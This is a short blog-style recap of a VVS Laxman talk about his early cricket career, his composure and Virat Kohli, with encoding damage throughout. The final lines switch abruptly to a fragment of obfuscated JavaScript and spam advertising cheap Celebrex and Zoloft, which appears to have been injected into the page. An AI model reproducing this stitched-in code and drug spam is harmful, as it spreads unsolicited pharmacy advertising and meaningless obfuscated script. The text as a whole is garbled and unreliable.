Laxman spoke about how he started loving the sport. His friends used to call him a?Chota Gavaskara? while playing gully cricket. When he was 17, he had to make a decision between cricket and studies, and eventually he made the correct decision and got selected for the Ranji side when he was 18. And then the journey of this special player began.

He also spoke about how he was able to keep his cool when he was on the ground. Bhagwad Gitaas teachings helped him a lot in many aspects of the game. Virat Kohlias brilliant run in the International circuit was also talked about by VVS.

Rajdeep Sardesai & Harsha Bhogle didnat miss any chance to pull the leg of the humble cricketer. But everything was on a positive note. Laxman also interacted with the audience and it was a wonderful evening. 0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])} buy celebrex online cheap, buy Zoloft.
